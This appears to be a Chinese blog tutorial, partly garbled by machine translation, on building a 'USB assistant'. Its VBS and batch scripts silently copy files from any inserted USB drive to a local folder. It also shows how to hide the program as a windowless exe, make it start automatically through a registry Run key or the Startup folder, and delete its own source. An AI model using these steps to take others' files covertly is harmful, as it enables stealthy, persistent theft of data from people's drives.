仅在后台检测U盘，然后将U盘中的指定文件复制到计算机的指定目录（U盘助手）中

期末考试即将到来. 教师复习课具有PPT的简化版本. 老师说可以提供上一堂课的PPT，但这是不可能的. 如果学期结束，则必须通过. 我当时正在考虑运行USB助手，我花了3个多小时在教室里的计算机上工作，我可以在下课后获得PPT，但是我是如此公正，令人振奋，而且我拥有出色的信息人员安全. 精神. 我仍然放弃做坏事. 希望每个人都一样. 当然，此U盘助手也可以使您更加方便. 例如，您需要经常将U盘中的某种类型的文件复制到计算机上. 自己手动复制是否麻烦？否则手动备份U盘数据比较麻烦，这对您来说会更方便.

打包的代码和程序

这是用Internet上的vbs语言编写的. 如果您具有一定水平的英语和vb能力，则必须易于理解. 我没有研究过它，并且通常是可以理解的，但是代码看起来太长了，需要自己设置. 磁盘字母，复制文件类型，目录，似乎有些麻烦.

set fso=createobject("scripting.filesystemobject") 
set ws=createobject("wscript.shell") 
dim USB, file, folder, files 
USB=inputbox("请输入U盘的盘符"&Chr(10)&"如插入的U盘为F盘，则输入F","插入的U盘盘符","F") 
folder=inputbox("请输入复制到的文件夹"&Chr(10)&"如想复制到D盘，请输入D:\","请输入复制到的文件夹","C:\USB") 
files=inputbox("请输入要复制的文件类型"&Chr(10)&"如要复制EXCEL文件，输入xls；默认为全部类型","请输入要复制的文件类型","ALL") 
USB=USB & ":\" 
folder=folder & "\" 
if files="ALL"then 
file=USB & "*" 
else 
file=USB & "*." & files 
end if 
if FSO.FolderExists(folder) then 
else 
FSO.CreateFolder(folder) 
end if 
on error resume next 
do 
wscript.sleep 1000 
if fso.driveexists(USB) then 
fso.copyfile file,folder 
fso.copyfolder file,folder 
wscript.sleep 20000 
end if 
loop

以下是我自己编写的bat实现的详细说明

1. 创建一个文件夹来保存复制的文件:

md C:\Upan（我这里创在了C盘根目录）

这句话:

setlocal enabledelayedexpansion

解释太复杂了. 有一个博客说您可以自己搜索. 对于bat下的for循环来说，这句话几乎是必不可少的.

2. 然后设置要检测的可移动磁盘（我的可移动磁盘为d）:

if exist %%a: (
xcopy /C /E /Q /K /Y d:\*.ppt C:\Upan
exit
)

/ C复制，如果有错误，/ E复制目录和子目录（包括空目录），/ H还复制隐藏文件和系统文件，/ Q复制时不显示文件名，/ K复制属性，/ Y取消提示确认覆盖

5. 使用跳转语句goto，如果未检测到USB驱动器号，则跳转到for循环以继续检测磁盘

::检测U盘是否插入，插入则复制U盘中所有文件到指定盘
@echo off
md C:\Upan
setlocal enabledelayedexpansion
::下面设置好要检测的盘符,以空格或逗号相隔
set "driver=d"
:start
for %%a in (!driver!) do (
if exist %%a: (
xcopy /C /E /Q /K /Y d:\*.ppt C:\Upan
exit
)
)
goto :start

这种蝙蝠操作有点不足，像这样，总是有一个黑盒子，非常丑陋

下载将bat转换为exe的软件，例如Quick Batch File Compiler，打开软件，然后选择“打开”以打开书面的bat

然后找到“选项”以设置ghost应用程序，然后单击“生成”，然后设置exe文件名并生成一个exe文件

这时运行exe时将没有任何显示，但您可以在进程列表中看到它已运行

如果希望该程序在启动时自动运行，则可以使用vbs或bat，或直接将启动后自动启动的bat命令添加到上面的文件中，并按照上述步骤完成.

1. VBS脚本实现

Set ws = CreateObject("Wscript.Shell")
ws.run "cmd /c for.bat",vbhide 

将for.bat更改为要在启动后自动启动的bat或exe文件.

2，bat命令独立实现

1）修改注册表

复制％0 c: \ for.exe，将for.exe复制到C: \

下面的句子是修改注册表项，以使C: \ for.exe在启动后自动启动.

最后一句话是删除for.exe源文件

将以下代码复制到新的文本文档中，只需将for.exe更改为您的bat文件名或exe文件名，然后保存，将文件名更改为xxx.bat并运行它.

@echo off
copy %0 c:\for.exe
REG ADD HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run /v for.exe /t REG_SZ /d c:\for.exe /f
del %0

2）在系统启动菜单中创建快捷方式

将以下代码复制到新的文本文档中，然后将其另存为xxx.bat并运行.

@echo off
copy %0 "%userprofile%\「开始」菜单\程序\启动"
del %0

3. 将代码1）添加到上一个bat文件的第二句（md C: \ Upan）. 注意: 1）中的For.exe是指最后要转换为exe文件的文件名，如果要从bat转换的exe文件称为U Disk Assistant.exe，则将1中的所有for.exe更改为）到U盘Assistant.exe，也可以将生成的exe文件更改为. exe也可用

本文来自电脑杂谈，转载请注明本文网址：
http://www.pc-fly.com/a/sanxing/article-293332-1.html